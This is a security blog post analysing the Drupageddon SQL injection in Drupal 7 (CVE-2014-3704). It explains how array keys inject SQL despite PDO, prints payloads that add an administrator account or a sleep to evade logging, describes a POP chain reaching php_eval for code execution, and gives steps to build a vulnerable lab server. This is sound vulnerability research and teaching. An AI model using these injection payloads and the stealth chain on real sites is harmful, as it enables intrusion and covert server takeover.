modules which are hosted on a <a href="https://www.drupal.org/project/project_module" rel="external" title="Drupal modules (Drupal project website)">central place</a> where the
ones not conforming with Drupal security requirement get a specific red banner
(<em>“This module is unsupported due to a security issue the maintainer didn’t fix.”</em>)
and are tagged as abandoned.</p>
<p>However, mistakes still happen, as Stefan Horst discovered in 2014
when he found out the <a href="http://seclists.org/fulldisclosure/2014/Oct/75" rel="external" title="Advisory 01/2014: Drupal7 - pre Auth SQL Injection Vulnerability (Full Disclosure mailing list)">Drupageddon vulnerability</a>, also known as
<a href="https://nvd.nist.gov/vuln/detail/CVE-2014-3704" rel="external" title="CVE-2014-3704 Detail (National Vulnerability Database)"><span class="caps">CVE</span>-2014-3704</a> and Drupal <a href="https://www.drupal.org/forum/newsletters/security-advisories-for-drupal-core/2014-10-15/sa-core-2014-005-drupal-core-sql" rel="external" title="SA-CORE-2014-005 - Drupal core - SQL injection (Drupal security advisories)"><span class="caps">SA</span>-<span class="caps">CORE</span>-2014-005</a>.</p>
<p>I find this vulnerability quite interesting as it is an <span class="caps">SQL</span> injection
vulnerability affecting Drupal core which relies on <abbr title="PHP Data Objects"><span class="caps">PDO</span></abbr> for its database
accesses which, in theory, should make it immune to such vulnerability.</p>
<p>Moreover, we will see that Drupal’s features allow to extend this vulnerability
way further than a simple <span class="caps">SQL</span> injection.
We will …</p><p>Usually <a href="https://www.drupal.org" rel="external" title="Drupal project home page">Drupal</a> teams do a great job into ensuring a reasonable security
level to their users.
Most of the Drupal critical vulnerabilities come from community modules,
modules which are hosted on a <a href="https://www.drupal.org/project/project_module" rel="external" title="Drupal modules (Drupal project website)">central place</a> where the
ones not conforming with Drupal security requirement get a specific red banner
(<em>“This module is unsupported due to a security issue the maintainer didn’t fix.”</em>)
and are tagged as abandoned.</p>
<p>However, mistakes still happen, as Stefan Horst discovered in 2014
when he found out the <a href="http://seclists.org/fulldisclosure/2014/Oct/75" rel="external" title="Advisory 01/2014: Drupal7 - pre Auth SQL Injection Vulnerability (Full Disclosure mailing list)">Drupageddon vulnerability</a>, also known as
<a href="https://nvd.nist.gov/vuln/detail/CVE-2014-3704" rel="external" title="CVE-2014-3704 Detail (National Vulnerability Database)"><span class="caps">CVE</span>-2014-3704</a> and Drupal <a href="https://www.drupal.org/forum/newsletters/security-advisories-for-drupal-core/2014-10-15/sa-core-2014-005-drupal-core-sql" rel="external" title="SA-CORE-2014-005 - Drupal core - SQL injection (Drupal security advisories)"><span class="caps">SA</span>-<span class="caps">CORE</span>-2014-005</a>.</p>
<p>I find this vulnerability quite interesting as it is an <span class="caps">SQL</span> injection
vulnerability affecting Drupal core which relies on <abbr title="PHP Data Objects"><span class="caps">PDO</span></abbr> for its database
accesses which, in theory, should make it immune to such vulnerability.</p>
<p>Moreover, we will see that Drupal’s features allow to extend this vulnerability
way further than a simple <span class="caps">SQL</span> injection.
We will also see the limitations of existing exploit and how we can write a
new, more efficient way to take advantage of this weakness.</p>
<h3 id="a-word-about-pdo"><a class="toclink" href="#a-word-about-pdo">A word about <abbr title="PHP Data Objects"><span class="caps">PDO</span></abbr></a></h3>
<p>A classical <span class="caps">SQL</span> injection takes advantage of the variable part of <span class="caps">SQL</span> queries
to insert arbitrary <span class="caps">SQL</span> commands.</p>
<p>A classical example is the following query:</p>
<div class="codehilite"><pre><span class="x">$account = $db->query("SELECT * FROM users WHERE user = '${_POST['user']}' AND password = '${_POST['password']}'");</span>
<span class="x">if ($account) {</span>
<span class="x"> // Authentication successful.</span>
<span class="x">} else {</span>
<span class="x"> // Authentication failed.</span>
<span class="x">}</span>
</pre></div>
<p>A malicious users can send a specially crafted values such as these:</p>
<table>
<thead>
<tr>
<th>Parameter</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>user</code></td>
<td><code>foo' #</code></td>
</tr>
<tr>
<td><code>password</code></td>
<td><code>bar</code></td>
</tr>
</tbody>
</table>
<p>Making the <span class="caps">SQL</span> to be expanded this way and effectively allowing the attacker to
bypass authentication by commenting out the password checking:</p>
<div class="codehilite"><pre>SELECT * FROM users WHERE user = 'foo' #' AND password = 'bar'
</pre></div>
<p>One aspect of the issue here is that user-provided parameters weren’t sanitized
enough before being used.
At this end, for a long time each <span class="caps">PHP</span> framework came with its own wrappers
around the native database <span class="caps">API</span> to make such sanitization easier.</p>
<p>However, such solution wasn’t ideal:</p>
<ul>
<li>The wrapper functions were framework specific, each framework having its
own syntax.</li>
<li>Directly using the underlying function was still widely used, either by
laziness or because framework-provided <span class="caps">API</span> was too restrictive to cover a
particular use-case efficiently.</li>
<li>Any development made outside of a full-featured framework were not covered
and required to reinvent the wheel every time.</li>
</ul>
<p>Here comes <a href="https://secure.php.net/manual/en/intro.pdo.php" rel="external" title="Introduction to PDO (PHP manual)"><abbr title="PHP Data Objects"><span class="caps">PDO</span></abbr></a>, a standardized way to enforce a strong separation between a
static <span class="caps">SQL</span> request and the dynamic values it may contain, each of them being
passed as separate parameters to the <abbr title="PHP Data Objects"><span class="caps">PDO</span></abbr> functions:</p>
<div class="codehilite"><pre><span class="x">$query = $db->prepare("SELECT * FROM users WHERE user = :user AND password = :password");</span>
<span class="x">$account = $query->execute(array(':user' => $_POST['user'], ':password' => $_POST['password']));</span>
<span class="x">if ($account) {</span>
<span class="x"> // Authentication successful.</span>
<span class="x">} else {</span>
<span class="x"> // Authentication failed.</span>
<span class="x">}</span>
</pre></div>
<p>This removes any ambiguity between what composes the static <span class="caps">SQL</span> request and
what composes its dynamic parameters.
When used over a MySQL database, <abbr title="PHP Data Objects"><span class="caps">PDO</span></abbr> also takes advantage of MySQL own
<a href="https://secure.php.net/manual/en/mysqli.quickstart.prepared-statements.php" rel="external" title="Prepared Statements (PHP manual)">prepared statements</a> feature to keep this isolation up to the database
server which will handle the query and its parameters separately.</p>
<p>Using <abbr title="PHP Data Objects"><span class="caps">PDO</span></abbr> should therefore make <span class="caps">SQL</span> injection a thing of the past, but…</p>
<h3 id="drupageddon-a-sql-injection-vulnerability-affecting-drupal-core"><a class="toclink" href="#drupageddon-a-sql-injection-vulnerability-affecting-drupal-core">Drupageddon: a <span class="caps">SQL</span> injection vulnerability affecting Drupal core</a></h3>
<h4 id="drupals-placeholder-arrays"><a class="toclink" href="#drupals-placeholder-arrays">Drupal’s placeholder arrays</a></h4>
<p>There are regular <span class="caps">SQL</span> injection advisories involving Drupal, but these are
generally about weakly coded contributed modules where the developers doesn’t
use <abbr title="PHP Data Objects"><span class="caps">PDO</span></abbr> correctly and inserts unsanitized user-provided data in the “static”
part of the <span class="caps">SQL</span> request, effectively annihilating all <abbr title="PHP Data Objects"><span class="caps">PDO</span></abbr> protections.</p>
<p>However, an exploitable <span class="caps">SQL</span> injection vulnerability has been
<a href="https://www.drupal.org/forum/newsletters/security-advisories-for-drupal-core/2014-10-15/sa-core-2014-005-drupal-core-sql" rel="external" title="SA-CORE-2014-005 - Drupal core - SQL injection (Drupal security advisories)">discovered</a> in Drupal core itself.</p>
<p>The fact is that in Drupal database queries are not fully static.
As an attempt to provide the most flexibility as possible to modules developers,
database queries structure can be generated or altered dynamically through
several means.</p>
<p>In particular, and this is the case which will interest us here, Drupal offers
to use <a href="https://www.drupal.org/docs/7/api/database-api/static-queries#placeholder-arrays" rel="external" title="Static queries: placeholder arrays (Drupal documentation)">placeholder arrays</a>:</p>
<div class="codehilite"><pre><span class="x">db_query("SELECT * FROM {node} WHERE nid IN (:nids)", array(':nids' => array(13, 42, 144)));</span>
</pre></div>
<p>Drupal database core library will extend the <code>:nids</code> placeholder to match the
number of provided arguments:</p>
<div class="codehilite"><pre>SELECT * FROM {node} WHERE nid IN (:nids_0, :nids_1, :nids_2)
</pre></div>
<p>Note that unlike code vulnerable to standard <span class="caps">SQL</span> injection this functionality
doesn’t attempt to insert any user-provided data in the request, such data
remains safely passed as separate <abbr title="PHP Data Objects"><span class="caps">PDO</span></abbr> parameters, isolated from the <span class="caps">SQL</span> request.</p>
<p>Except that…</p>
<h4 id="php-array-parameters"><a class="toclink" href="#php-array-parameters"><span class="caps">PHP</span> array parameters</a></h4>
<p><span class="caps">PHP</span> allows to pass <a href="https://secure.php.net/manual/en/faq.html.php#faq.html.arrays" rel="external" title="How do I create arrays in a HTML <form>? (PHP documentation)">indexed arrays</a> as parameters (<span class="caps">GET</span>, <span class="caps">POST</span> and cookies).</p>
<p>This feature is useful for use-cases such as forms where a particular field may
be present several times (tags, complementary address lines, etc.) or where
the user may have the ability to fill several forms at once (several file
upload forms for instance, each with their own properties).</p>
<p>But this feature, especially when associated to <span class="caps">PHP</span> <a href="https://pen-testing.sans.org/blog/2014/12/18/php-weak-typing-woes-with-some-pontification-about-code-and-pen-testing" rel="external" title="PHP Weak Typing Woes -- With Some Pontification about Code and Pen Testing (SANS Penetration Testing)">weak typing</a>, also opens
the door to numerous vulnerabilities.</p>
<p>In particular:</p>
<ul>
<li>Drupal may receive an array where it was initially only expecting a string parameter.</li>
<li>Drupal may receive string array indexes, where it was initially only
expecting integer-based arrays.</li>
</ul>
<h4 id="the-sql-injection"><a class="toclink" href="#the-sql-injection">The <span class="caps">SQL</span> injection</a></h4>
<p>Let’s port our initial example to Drupal’s <span class="caps">API</span>:</p>
<div class="codehilite"><pre><span class="x">$account = db_query("SELECT * FROM {users} WHERE user = :user AND password = :password",</span>
<span class="x"> array(':user' => $_POST['user'], ':password' => $_POST['password']));</span>
<span class="x">if ($account) {</span>
<span class="x"> // Authentication successful.</span>
<span class="x">} else {</span>
<span class="x"> // Authentication failed.</span>
<span class="x">}</span>
</pre></div>
<p>Visually it seems very close to the <abbr title="PHP Data Objects"><span class="caps">PDO</span></abbr> example above.</p>
<p>But now imagine a malicious user sending the following values:</p>
<table>
<thead>
<tr>
<th>Parameter</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>user[0 #]</code></td>
<td><code>foo</code></td>
</tr>
<tr>
<td><code>user[0]</code></td>
<td><code>bar</code></td>
</tr>
<tr>
<td><code>password</code></td>
<td><code>baz</code></td>
</tr>
</tbody>
</table>
<p>Drupal placeholder arrays mechanism will happily accept the <code>$_POST['user']</code>
parameter to be an array and use the raw array string indexes to
generate the new placeholder names, resulting in the following query:</p>
<div class="codehilite"><pre>SELECT * FROM {users} WHERE user = :user_0 #, :user_0 AND password = :password
</pre></div>
<p>Authentication has been successfully been bypassed, despite the use of <abbr title="PHP Data Objects"><span class="caps">PDO</span></abbr>.</p>
<h4 id="when-things-can-go-worse-they-will"><a class="toclink" href="#when-things-can-go-worse-they-will">When things can go worse, they will.</a></h4>
<p>First, unlike traditional <span class="caps">SQL</span> <span class="caps">API</span>, <abbr title="PHP Data Objects"><span class="caps">PDO</span></abbr> allows multiple queries to be provided
at once.</p>
<p>Still taking the example above, the malicious user could append a whole new
query to the legitimate one by setting <code>$_POST('user']</code> value as follow:</p>
<div class="codehilite"><pre>user[0; INSERT INTO users VALUES 'wwwolf', 'Passw0rd!', 'Administrators'; #]
</pre></div>
<p>Thus, while <abbr title="PHP Data Objects"><span class="caps">PDO</span></abbr> effectively provides a good level of protection against <span class="caps">SQL</span>
injection, at the same time it makes such injection far more devastating.</p>
<p>Moreover, Drupal provides various ways to trigger <span class="caps">PHP</span> code execution from the database:</p>
<ul>
<li>
<p><span class="caps">PHP</span> code can be embedded inside posts content.
This feature is disabled by default, but someone with a write access to the
database can easily re-enable it.</p>
</li>
<li>
<p>Several functionalities rely on callback functions, the name of these
functions is often stored in the database and used as-is without any
further check or alteration.</p>
</li>
<li>
<p>Arbitrary files can be dynamically included, either as a declared
dependency or thanks to a registry stored in the database and loading files
as part of the objects <span class="caps">PHP</span> autoloading process.</p>
</li>
</ul>
<p>Having a write access to a Drupal database therefore usually implies the
ability to run arbitrary commands on the web server through one or another way.</p>
<h3 id="exploitation"><a class="toclink" href="#exploitation">Exploitation</a></h3>
<h4 id="existing-exploits"><a class="toclink" href="#existing-exploits">Existing exploits</a></h4>
<p>Upon the <a href="http://seclists.org/fulldisclosure/2014/Oct/75" rel="external" title="Advisory 01/2014: Drupal7 - pre Auth SQL Injection Vulnerability (Full Disclosure mailing list)">vulnerability disclosure</a>, Stefan Horst was asked by the
Drupal security team to postpone the publication of his <abbr title="Proof of concept">PoC</abbr>:</p>
<blockquote>
<p>Proof of Concept:</p>
<p>SektionEins GmbH has developed a proof of concept, but was asked by
Drupal to postpone the release.</p>
</blockquote>
<p>And he did so <a href="https://www.sektioneins.de/en/blog/14-11-03-drupal-sql-injection-vulnerability-PoC.html" rel="external" title="Drupal 7.32 two weeks later - PoC (SektionEins)">for two weeks</a>, until it became evident that
third-party exploits were now widespread<sup id="fnref-drupal-crisis-mgmt"><a class="footnote-ref" href="#fn-drupal-crisis-mgmt">1</a></sup>.</p>
<blockquote>
<blockquote>
<p>Automated attacks began compromising Drupal 7 websites that were not
patched or updated to Drupal 7.32 within hours of the announcement of
<span class="caps">SA</span>-<span class="caps">CORE</span>-2014-005 - Drupal core - <span class="caps">SQL</span> injection.
You should proceed under the assumption that every Drupal 7 website was
compromised unless updated or patched before Oct 15th, 11pm <span class="caps">UTC</span>, that is
7 hours after the announcement. — Drupal Security Team</p>
</blockquote>
<p>With this in mind we release more information about the bug including a code
execution <abbr title="Proof of concept">PoC</abbr>, which takes only one <span class="caps">GET</span> request with a cookie that will not
be shown in any log.</p>
</blockquote>
<p>The first exploits published during these two weeks, similar if not directly
related to <a href="https://www.exploit-db.com/exploits/34984/" rel="external" title="Drupal 7.0 < 7.31 - SQL Injection (1) (Exploit DB)">fyukyuk</a>‘s work, simply approached this as a simple <span class="caps">SQL</span> injection
vulnerability and did no take advantage of the code execution possibilities.</p>
<p>During that time, a <a href="https://github.com/rapid7/metasploit-framework/commit/b031ce4df3176d8bc0aad6861c7663710b295c56#diff-c0dea6684d4c9b375064e50966faffab" rel="external" title="Create drupal_drupageddon.rb (Metasploit GitHub repository)">Metasploit module</a> was also developed for
Metasploit which built over this to create a rather blunt but effective way
to achieve code execution on a vulnerable target:</p>
<ol>
<li>
<p>The <span class="caps">SQL</span> injection entry point is in <code>user_login_authenticate_validate()</code>,
the function validating the user name during the authentication phase:</p>
<div class="codehilite"><pre><span class="x">$account = db_query("SELECT * FROM {users} WHERE name = :name AND status = 1",</span>
<span class="x"> array(':name' => $form_state['values']['name']))->fetchObject();</span>
</pre></div>
<p>The <em>name</em> field from the Drupal authentication form is transmitted without
alteration to the database <span class="caps">API</span>.</p>
</li>
<li>
<p>The injected <span class="caps">SQL</span> query adds a new user, and then adds it to the
<em>administrators</em> group<sup id="fnref-newuser"><a class="footnote-ref" href="#fn-newuser">2</a></sup>.</p>
</li>
<li>
<p>Modify the website setting to enable <span class="caps">PHP</span> code in posts content, and grant
the members of the <em>administrators</em> group the right to use this feature.</p>
</li>
<li>
<p>Open a session using the newly created user, and start to create some
content containing the code to execute.</p>
</li>
<li>
<p>Use the preview feature to render the content, thus executing the payload.</p>
</li>
</ol>
<p>The <a href="https://nmap.org/nsedoc/scripts/http-vuln-cve2014-3704.html" rel="external" title="File http-vuln-cve2014-3704 (Nmap Scripting Engine documentation)">Nmap script</a> allowing to detect vulnerable hosts is just a port
of the Metasploit modules and therefore implements the same method, albeit it
added a few cleaning routines notably to delete the newly created administrator account.</p>
<p><a href="https://www.sektioneins.de/en/blog/14-11-03-drupal-sql-injection-vulnerability-PoC.html" rel="external" title="Drupal 7.32 two weeks later - PoC (SektionEins)">The <abbr title="Proof of concept">PoC</abbr></a> published two weeks later by Stefan Horst is however very
interesting and shows a far more subtle way to exploit this vulnerability and
requires only a single request to pwn the target and, as a bonus, avoid the
payload from being logged.</p>
<p>To achieve this, Stefan forges a malicious cookie injecting <span class="caps">SQL</span> code in
Drupal’s query to fetch the current session information:</p>
<div class="codehilite"><pre><span class="x">if ($is_https) {</span>
<span class="x">$user = db_query("SELECT u.*, s.* FROM {users} u INNER JOIN {sessions} s ON u.uid = s.uid WHERE s.ssid = :ssid", array(':ssid' => $sid))->fetchObject();</span>
<span class="x">if (!$user) {</span>
<span class="x"> if (isset($_COOKIE[$insecure_session_name])) {</span>
<span class="hll"><span class="x"> $user = db_query("SELECT u.*, s.* FROM {users} u INNER JOIN {sessions} s ON u.uid = s.uid WHERE s.sid = :sid AND s.uid = 0", array(</span>
</span><span class="hll"><span class="x"> ':sid' => $_COOKIE[$insecure_session_name]))</span>
</span><span class="hll"><span class="x"> ->fetchObject();</span>
</span><span class="x"> }</span>
<span class="x">}</span>
<span class="x">}</span>
</pre></div>
<p>Faking the <abbr title="User ID"><span class="caps">UID</span></abbr> here would allow to get a session with administrative privileges
bypassing any authentication checking and logging, which would already be great,
but Stefan went further than that.
Instead of altering the <span class="caps">SQL</span> request to forge the <abbr title="User ID"><span class="caps">UID</span></abbr>, he forged the session
state data.</p>
<p>This data is a serialized array available for any module having to store state
information data.
This information can include callback function names, allowing the module to be
invoked and update the session data as needed.</p>
<p>Thanks to this callback functionality, a malicious sessions state can therefore
be used to initiate a <abbr title="Property oriented programming"><span class="caps">POP</span></abbr> chain ending with the execution of the payload.</p>
<p>All this using a single request: brilliant!</p>
<p>However, Stefan’s <abbr title="Proof of concept">PoC</abbr> has two limitations</p>
<ul>
<li>
<p>The code it targets is only executed by <span class="caps">HTTPS</span> websites (noticed the
<code>if ($is_https)</code> in the code sample above?).</p>
<p>This <abbr title="Proof of concept">PoC</abbr> is therefore ineffective against <span class="caps">HTTP</span> websites or <span class="caps">HTTPS</span>
websites running behind a reverse proxy.</p>
</li>
<li>
<p>The exploit relies on the <code>assert()</code> function to execute the payload.</p>
<p>Assertions are disabled by default, so this exploit wouldn’t work on
default installations.</p>
</li>
</ul>
<p>Damned!
But let’s see if we can do something about this…</p>
<h4 id="building-a-better-exploit"><a class="toclink" href="#building-a-better-exploit">Building a better exploit</a></h4>
<h5 id="widely-compatible-entry-point"><a class="toclink" href="#widely-compatible-entry-point">Widely compatible entry-point</a></h5>
<p>In Stefan Hort’s <abbr title="Proof of concept">PoC</abbr>, the entry point used was too specific.</p>
<p>Default Drupal installations are quite naked, and there is not much exposed
to unauthenticated users, so I will just stick in using the login form as
entry point as previous exploits (that is, the login page itself, and not the
login block as some exploits do as the block can be disabled).</p>
<p>Drupal’s login form has a fixed <span class="caps">URL</span>: <code>/?q=user/login</code>.</p>
<div class="admonition warning">
<p class="admonition-title">Warning</p>
<p>Some websites enforces the use of “clean URLs”, redirecting requests such
as <code>/?q=user/login</code> to <code>/user/login</code>.</p>
<p>A good exploit must take this into account and follow such redirects to
remain effective.</p>
</div>
<p>The injection is done by turning the <code>name</code> input field into an array and
putting the injected <span class="caps">SQL</span> request in its first index:</p>
<ul>
<li>
<p><code>name[0; SQL_CODE_HERE #]=</code>: This <span class="caps">POST</span> parameter will inject the malicious
code inside the request checking users authentication as described
<a href="#the-sql-injection">above</a>.</p>
</li>
<li>
<p>The parameter must be followed by another <code>name[0]=</code> <span class="caps">POST</span> parameter to
allow a proper expansion of the <abbr title="PHP Data Objects"><span class="caps">PDO</span></abbr> parameters.</p>
</li>
<li>
<p>None of this parameters require any value.</p>
</li>
</ul>
<h5 id="logged-evidences"><a class="toclink" href="#logged-evidences">Logged evidences</a></h5>
<p>Using the login form usually leaves a malformed
<em>“Failed authentication attempt”</em> log entry adding a display error on each
rendering of the log page.</p>
<p>Unlike the creation and use of a new administrator account, this does not
shout <em>“You have been hacked”</em> to the average user, but can still appear
suspicious.
In particular, while Drupal fails to display it in its web interface, the
initial payload sent through the username gets recorded in the log message
(it is the cause of the message being malformed), removing any doubt to more
experienced investigators.</p>
<p>An easy way to avoid this message is to append a long <code>SLEEP()</code> to the
injected <span class="caps">SQL</span> query, making the <span class="caps">PHP</span> script to timeout and be silently terminated.</p>
<p><span class="caps">PHP</span> uses a 60 seconds timeout for the default production settings, the web
server itself also may have a timeout, and at last some server may be
configured to forcibly stop a <span class="caps">PHP</span> script when the connection is closed client-side.</p>
<p>Passing a value a few over a dozen of minutes should therefore be fine for most
circumstances while still preventing anything really bad from happening server-side:</p>
<div class="codehilite"><pre>SQL_CODE_HERE; SELECT SLEEP(666);
</pre></div>
<div class="admonition note">
<p class="admonition-title">Note</p>
<p>As a drawback, when we use this method and in case of a successful
injection the attacker will receive no feedback from its target.
We will therefore have to wait some arbitrary time before sending
the second request triggering the hopefully stored payload.</p>
<p>Due to this, I don’t use this trick for the Nmap script, allowing
quicker and more reliable tests.</p>
<p>However, I use it for the Metasploit module, which offers a configurable
<code>WAIT</code> advanced option which defaults to waiting 5 seconds between the
two requests.</p>
</div>
<h5 id="payload-execution"><a class="toclink" href="#payload-execution">Payload execution</a></h5>
<p>It is not possible to directly pass <code>eval()</code> as a callback function for the
payload execution because it is not a function but a <span class="caps">PHP</span> laguage construct.</p>
<p>Trying something like this will fail because of this reason:</p>
<div class="codehilite"><pre><span class="x">$function = 'eval';</span>
<span class="x">$function("echo('Hello world!');");</span>
</pre></div>
<p>To avoid this issue:</p>
<ul>
<li>
<p>Stefan Horst relies on <code>assert()</code> as callback function name, however
assertions are disabled by default and therefore this will have no effect
unless they have been manually enabled or <span class="caps">PHP</span> development settings
selected instead of the production ones.</p>
</li>
<li>
<p>Current Metasploit and Nmap exploits enable the <span class="caps">PHP</span> module, add
administrators the right to include <span class="caps">PHP</span> content in their posts and, once
connected as an administrator, upload the payload into a new post and
request a preview of it to execute the payload.</p>
</li>
</ul>
<p>Behind the scenes, the <span class="caps">PHP</span> modules relies on its own <code>php_eval()</code> function to
execute <span class="caps">PHP</span> code.
This function is in fact a wrapper around the <code>eval()</code> <span class="caps">PHP</span> language construct,
and don’t require any fancy parameter, making it the perfect candidate as our
callback function:</p>
<div class="codehilite"><pre><span class="x">function php_eval($code) {</span>
<span class="x"> // ... skipped ...</span>
<span class="x"> ob_start();</span>
<span class="hll"><span class="x"> print eval('?>' . $code);</span>
</span><span class="x"> $output = ob_get_contents();</span>
<span class="x"> ob_end_clean();</span>
</pre></div>
<p>However, this has one drawback that we need to fix: in theory this function is
available only when the <span class="caps">PHP</span> module is enabled, and we don’t want to enable it.</p>
<h5 id="making-the-php_eval-function-available"><a class="toclink" href="#making-the-php_eval-function-available">Making the <code>php_eval()</code> function available</a></h5>
<p>In practice, the need to enable the <span class="caps">PHP</span> module can easily be bypassed.
All that is needed is to make Drupal to include the <em>modules/php/php.modules</em>
file before processing the callback function.</p>
<p>Fortunately, Drupal provides an official functionality to answer this precise
need<sup id="fnref-form-state-includes"><a class="footnote-ref" href="#fn-form-state-includes">3</a></sup>.
All we need to do is to store the following additional “form-state” along our
malicious form cache entry:</p>
<div class="codehilite"><pre><span class="x">form-state = array(</span>
<span class="x"> "build_info" => array(</span>
<span class="x"> "files" => array(</span>
<span class="x"> "modules/php/php.module",</span>
<span class="x"> ),</span>
<span class="x"> ),</span>
<span class="x">);</span>
</pre></div>
<p>It will be processed by the <code>form_get_cache()</code> function which will ensure that
the content of the required file gets loaded before invoking any callback:</p>
<div class="codehilite"><pre><span class="x">foreach ($form_state['build_info']['files'] as $file) {</span>
<span class="x"> // ... skipped ...</span>
<span class="x"> require_once DRUPAL_ROOT . '/' . $file;</span>
</pre></div>
<h5 id="stealth-pop-chain"><a class="toclink" href="#stealth-pop-chain">Stealth <abbr title="Property oriented programming"><span class="caps">POP</span></abbr> chain</a></h5>
<p><abbr title="Property oriented programming"><span class="caps">POP</span></abbr> here stands for Property Oriented Programming, and has nothing to do with
the push and pop stack actions.</p>
<p>Property oriented programming consists in setting and assembling a set of
variables and properties in a way which will most likely not make any sense at
all from a functional perspective, but will orient the execution flow toward a
section of code targeted by the attacker.</p>
<p>Here, we want to start from a function handling cached form callbacks and
end-up calling <code>php_eval</code> passing it the <span class="caps">PHP</span> payload as its first parameter,
raising as few warning and error messages as possible in the process due to
unexpected types and parameters.</p>
<div class="admonition note">
<p class="admonition-title">Note</p>
<p>A useful thing to keep in mind when building <abbr title="Property oriented programming"><span class="caps">POP</span></abbr> chains is that <span class="caps">PHP</span>
functions tolerate extra parameters, so there is no problem in passing four
parameters to a function expecting only two.</p>
</div>
<p>The starting point of our chain will be the <code>form_builder()</code> function which
supports callback functions to dynamically generate some parts of the form:</p>
<div class="codehilite"><pre><span class="x">foreach ($element['#process'] as $process) {</span>
<span class="x"> $element = $process($element, $form_state, $form_state['complete form']);</span>
<span class="x">}</span>
</pre></div>
<p>From there, the most efficient chain I found was by going through the
<code>drupal_render()</code> function defined in <em>include/common.inc</em> and invoking
<code>php_eval()</code> from there.
This is achieved using the following form value:</p>
<div class="codehilite"><pre>form = array(
"#type" => "form",
"#parents" => array(
"user",
),
"#process" => array(
"drupal_render",
),
"#defaults_loaded" => true,
"#post_render" => array(
"php_eval",
),
"#children" => "<?php PHP_PAYLOAD_HERE",
);
</pre></div>
<p>This <abbr title="Property oriented programming"><span class="caps">POP</span></abbr> chain does not raise any log message.</p>
<h3 id="the-final-result"><a class="toclink" href="#the-final-result">The final result</a></h3>
<h4 id="setting-up-the-test-environment"><a class="toclink" href="#setting-up-the-test-environment">Setting up the test environment</a></h4>
<p>The following procedure can be used to create a vulnerable server from a
freshly installed Debian 9 <em>“stretch”</em>.</p>
<p>Install the prerequisites:</p>
<div class="hilitewrapper"><table class="codehilitetable"><tr><td class="linenos"><div class="linenodiv"><pre>1</pre></div></td><td class="code"><div class="codehilite"><pre>sudo apt install apache2 libapache2-mod-php mariadb-server php-gd php-mysql php-xml
</pre></div>
</td></tr></table></div>
<p>Install the database:</p>
<div class="hilitewrapper"><table class="codehilitetable"><tr><td class="linenos"><div class="linenodiv"><pre>1
2
3</pre></div></td><td class="code"><div class="codehilite"><pre>sudo service mariadb start
sudo mysql_secure_installation
sudo mysql -u root
</pre></div>
</td></tr></table></div>
<div class="admonition note">
<p class="admonition-title">Note</p>
<p>Authentication defaults to using socket owner instead of the traditional password.
No password is required nor will be checked for the root account.</p>
<p><a href="https://unix.stackexchange.com/q/396738/53965" rel="external" title="Can't access MySQL without running sudo (StackExchange)">More information</a>.</p>
</div>
<p>MySQL commands:</p>
<div class="hilitewrapper"><table class="codehilitetable"><tr><td class="linenos"><div class="linenodiv"><pre>1
2
3
4
5</pre></div></td><td class="code"><div class="codehilite"><pre><span class="k">CREATE</span> <span class="k">DATABASE</span> <span class="n">drupal</span> <span class="k">CHARACTER</span> <span class="kt">SET</span> <span class="n">utf8</span> <span class="k">COLLATE</span> <span class="n">utf8_general_ci</span><span class="p">;</span>
<span class="k">CREATE</span> <span class="n">USER</span> <span class="s1">'drupal'</span><span class="o">@</span><span class="s1">'localhost'</span> <span class="n">IDENTIFIED</span> <span class="k">BY</span> <span class="s1">'Passw0rd!'</span><span class="p">;</span>
<span class="k">GRANT</span> <span class="k">ALTER</span><span class="p">,</span> <span class="k">CREATE</span><span class="p">,</span> <span class="k">CREATE</span> <span class="n">TEMPORARY</span> <span class="kp">TABLES</span><span class="p">,</span> <span class="k">DELETE</span><span class="p">,</span> <span class="k">DROP</span><span class="p">,</span> <span class="k">INDEX</span><span class="p">,</span> <span class="k">INSERT</span><span class="p">,</span>
<span class="k">LOCK</span> <span class="kp">TABLES</span><span class="p">,</span> <span class="k">SELECT</span><span class="p">,</span> <span class="k">UPDATE</span> <span class="k">ON</span> <span class="n">drupal</span><span class="p">.</span><span class="o">*</span> <span class="k">TO</span> <span class="s1">'drupal'</span><span class="o">@</span><span class="s1">'localhost'</span><span class="p">;</span>
<span class="k">EXIT</span>
</pre></div>
</td></tr></table></div>
<p>Install Drupal files (use <em>drupal-7.0.tar.gz</em> to get Drupal 7.0):</p>
<div class="hilitewrapper"><table class="codehilitetable"><tr><td class="linenos"><div class="linenodiv"><pre>1
2
3
4
5
6</pre></div></td><td class="code"><div class="codehilite"><pre>wget https://ftp.drupal.org/files/projects/drupal-7.31.tar.gz
unar drupal-7.31.tar.gz
sudo rm /var/www/html/*
sudo cp -r drupal-7.31/. /var/www/html/
sudo install -g www-data -m <span class="m">775</span> -d /var/www/html/sites/default/files
sudo install -g www-data -m <span class="m">664</span> /var/www/html/sites/default/<span class="o">{</span>default.,<span class="o">}</span>settings.php
</pre></div>
</td></tr></table></div>
<div class="admonition warning">
<p class="admonition-title">Warning</p>
<p>Don’t miss the dot at the end of <code>drupal-7.31/.</code> if you want <code>cp</code> to also
copy the hidden file <em>.htaccess</em> and put everything at the right place.</p>
</div>
<p>Start the web server:</p>
<div class="hilitewrapper"><table class="codehilitetable"><tr><td class="linenos"><div class="linenodiv"><pre>1</pre></div></td><td class="code"><div class="codehilite"><pre>sudo service apache2 start
</pre></div>
</td></tr></table></div>
<p>Connect to the web interface to install Drupal using the default options.</p>
<p>Once Drupal has been successfully installed:</p>
<div class="hilitewrapper"><table class="codehilitetable"><tr><td class="linenos"><div class="linenodiv"><pre>1</pre></div></td><td class="code"><div class="codehilite"><pre>sudo chmod <span class="m">644</span> /var/www/html/sites/default/settings.php
</pre></div>
</td></tr></table></div>
<h4 id="nmap-check-script"><a class="toclink" href="#nmap-check-script">Nmap check script</a></h4>
<p>The Nmap script implementing the new exploit is available here:</p>
<p class="download button"><a href="https://www.whitewinterwolf.com/posts/2017/11/16/drupageddon-revisited-a-new-path-from-sql-injection-to-remote-command-execution-cve-2014-3704/http-vuln-cve2014-3704.nse" title="Download the Nmap script">Nmap script</a>
